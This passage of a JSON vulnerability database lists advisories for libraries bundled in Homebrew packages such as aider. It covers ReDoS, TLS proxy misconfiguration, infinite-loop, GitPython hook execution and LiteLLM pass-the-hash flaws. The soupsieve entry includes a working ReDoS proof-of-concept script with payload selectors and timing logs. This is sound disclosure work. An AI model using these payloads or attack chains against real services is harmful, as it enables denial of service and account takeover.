compiling.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85999"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/2.9"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-86000","published":"2026-09-20T11:37:23Z","modified":"2026-09-20T11:37:23Z","upstream":["GHSA-gjv8-xp57-g29c","CVE-2026-86000"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.9.0","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.8.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.8.3","key":"pkg:pypi/soupsieve@2.8.3","resource":"soupsieve"}]},"summary":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns","details":"## Summary\n\nsoupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.\n\n## Trust model (Q0)\n\nThe selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# lines 122-126\nIDENTIFIER = fr'''\n(?:(?:-?(?:[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})+|--)\n(?:[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})*)\n'''\n# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)\nVALUE = fr'''(?:\"(?:\\\\(?:.|{NEWLINE})|[^\\\\\"\\r\\n\\f])*?\"|'...'|{IDENTIFIER})'''\n```\n\n- classA `[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` excludes digits (0x30-0x39); classB `[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` allows digits. The intent is \"first char not a digit, remaining chars may be digits.\"\n- Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.\n\nThe quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `\"a\"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + \"$\"` against `\"a\"*n + \"!\"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile(\"[a=\" + \"a\"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_compile.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_compile.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef compile_time(sel):\n t0 = time.perf_counter()\n try:\n sv.compile(sel)\n status = \"ok\"\n except Exception as e:\n status = type(e).__name__\n return (time.perf_counter() - t0), status\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"Payload A: '[a=' + 'a'*n (unterminated attribute value)\")\nfor n in (1000, 2000, 4000, 8000):\n dt, st = compile_time(\"[a=\" + \"a\" * n)\n print(f\" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]\")\n\nprint(\"\\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)\")\nfor n in (2000, 4000, 8000, 16000):\n dt, st = compile_time(\"a\" * n + \"!\")\n print(f\" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]\")\n\npayload = \"[a=\" + \"a\" * 12000\ndt, st = compile_time(payload)\nprint(f\"\\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s [{st}]\")\n```\n\nEnd-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select(\"[a=\" + \"a\"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)\n\n```\nsoupsieve 2.9\n\nPayload A: '[a=' + 'a'*n (unterminated attribute value)\n n=1000 len=1003 214.8 ms [SelectorSyntaxError]\n n=2000 len=2003 504.7 ms [SelectorSyntaxError]\n n=4000 len=4003 2031.9 ms [SelectorSyntaxError]\n n=8000 len=8003 8091.3 ms [SelectorSyntaxError]\n\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)\n n=2000 len=2001 79.7 ms [SelectorSyntaxError]\n n=4000 len=4001 322.9 ms [SelectorSyntaxError]\n n=8000 len=8001 1328.9 ms [SelectorSyntaxError]\n n=16000 len=16001 5379.4 ms [SelectorSyntaxError]\n\n[+] Single call: compile('[a=' + 'a'*12000) (len=12003)\n[+] wall time = 18.28 s [SelectorSyntaxError]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\nPayload A: '[a=' + 'a'*n\n n=1000 len=1003 113.9 ms [SelectorSyntaxError]\n n=2000 len=2003 457.2 ms [SelectorSyntaxError]\n n=4000 len=4003 1816.8 ms [SelectorSyntaxError]\n n=8000 len=8003 7299.0 ms [SelectorSyntaxError]\n[+] Single call: compile('[a=' + 'a'*12000) wall time = 16.57 s [SelectorSyntaxError]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.\n\n## Remediation\n\n- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters.\n- Alternatively use atomic grouping / possessive quantifiers where supported (`(?>...)`, `*+`) to forbid backtracking into the identifier run.\n- Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86000"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/ce44e4996e6632871c18cdd7a7fb641be8ef34ef"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/2.9"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-87817","published":"2026-09-20T11:37:04Z","modified":"2026-09-20T11:37:04Z","upstream":["PYSEC-2026-3982","CVE-2026-87817","GHSA-239g-whfq-7xj9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.60","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"details":"GitPython before 3.1.60 fails to properly validate the git directory location, allowing attackers to impersonate the git directory using tracked files like gitdir, commondir, and HEAD. Attackers can execute arbitrary code by placing a malicious pre-commit hook in the tracked hooks directory that executes when a victim calls index.commit() on a cloned or opened repository.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation"},{"type":"EVIDENCE","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-239g-whfq-7xj9"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-87819","published":"2026-09-20T11:37:04Z","modified":"2026-09-20T11:37:04Z","upstream":["PYSEC-2026-3984","CVE-2026-87819","GHSA-g5vv-9gxw-82hx"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.60","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"details":"GitPython before 3.1.60 contains a regular expression denial of service vulnerability in Actor.name_email_regex that processes commit author and committer fields. Attackers can craft a commit object with a malformed author field containing an unterminated angle bracket to cause quadratic backtracking, exhausting CPU resources for over two minutes per commit access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos"},{"type":"EVIDENCE","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-97687","published":"2026-09-30T19:59:36Z","modified":"2026-09-30T19:59:36Z","upstream":["GHSA-8988-9cw3-xx77","CVE-2026-97687"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3: HTTPS proxy TLS configuration may be ignored or overridden","details":"## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97687"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/5093"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-97688","published":"2026-09-30T19:59:36Z","modified":"2026-09-30T19:59:36Z","upstream":["GHSA-gh4c-6fx4-qh6g","CVE-2026-97688"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3: Chunked Deflate streaming can enter an infinite loop","details":"### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97688"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-97689","published":"2026-09-30T19:59:36Z","modified":"2026-09-30T19:59:36Z","upstream":["GHSA-vxq7-64xx-v4gw","CVE-2026-97689"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory","details":"## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97689"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-GHSA-69x8-hrgq-fjj8","published":"2026-08-13T16:35:12Z","modified":"2026-08-13T16:35:12Z","upstream":["GHSA-69x8-hrgq-fjj8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Password hash exposure and pass-the-hash authentication bypass","details":"### Impact\n\nThree issues combine into a full authentication bypass chain:\n\n1. Weak hashing: User passwords are stored as unsalted SHA-256 hashes, making them vulnerable to rainbow table attacks and trivially identifying users with identical passwords.\n2. Hash exposure: Multiple API endpoints (/user/info, /user/update, /spend/users) return the password hash field in responses to any authenticated user regardless of role. Plaintext passwords could also potentially be exposed in certain scenarios.\n4. Pass-the-hash: The /v2/login endpoint accepts the raw SHA-256 hash as a valid password without re-hashing, allowing direct login with a stolen\n\nAn already authenticated user can retrieve another user's password hash from the API and use it to log in as that user. This enables full privilege escalation in three HTTP requests.\n\n### Patches\n\nFixed in v1.83.0. Passwords are now hashed with scrypt (random 16-byte salt, n=16384, r=8, p=1). Password hashes are stripped from all API responses. Existing SHA-256 hashes are transparently migrated on next login.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-69x8-hrgq-fjj8"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"}]}],"airshare":[{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2021-21330","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:58:50Z","upstream":["GHSA-v6wp-4m6f-gcjg","CVE-2021-21330","PYSEC-2021-76"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"`aiohttp` Open Redirect vulnerability (`normalize_path_middleware` middleware)","details":"### Impact\n\nOpen redirect vulnerability — a maliciously crafted link to an aiohttp-based web-server could redirect the browser to a different website.\n\nIt is caused by a bug in the `aiohttp.web_middlewares.normalize_path_middleware` middleware.\n\n### Patches\n\nThis security problem has been fixed in v3.7.4. Upgrade your dependency as follows:\n[`pip install aiohttp >= 3.7.4`]\n\n### Workarounds\n\nIf upgrading is not an option for you, a workaround can be to avoid using `aiohttp.web_middlewares.normalize_path_middleware` in your applications.\n\n### References\n\n* [aiohttp @ PyPI]\n* [GHSA-v6wp-4m6f-gcjg]\n* [OWASP page on open redirects]\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in the [aiohttp repo](https://github.com/aio-libs/aiohttp/issues/new/choose)\n* Email us at wk+aio-libs-security@sydorenko.org.ua and/or andrew.svetlov+aio-libs-security@gmail.com\n\nCredit: [Jelmer Vernooij] and [Beast Glatisant].\n\n[aiohttp @ PyPI]: https://pypi.org/p/aiohttp\n[`pip install aiohttp >= 3.7.4`]: https://pypi.org/project/aiohttp/3.7.4/\n[GHSA-v6wp-4m6f-gcjg]: https://github.com/aio-libs/aiohttp/security/advisories/GHSA-v6wp-4m6f-gcjg\n[OWASP page on open redirects]:\nhttps://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html\n\n[Jelmer Vernooij]: https://jelmer.uk\n[Beast Glatisant]: https://github.com/g147","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-v6wp-4m6f-gcjg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21330"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2545222a3853e31ace15d87ae0e2effb7da0c96b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/master/CHANGES.rst#374-2021-02-25"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2021-76.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FU7ENI54JNEK3PHEFGCE46DGMFNTVU6L"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JN3V7CZJRT4QFCVXB6LDPCJH7NAOFCA5"},{"type":"WEB","url":"https://pypi.org/project/aioht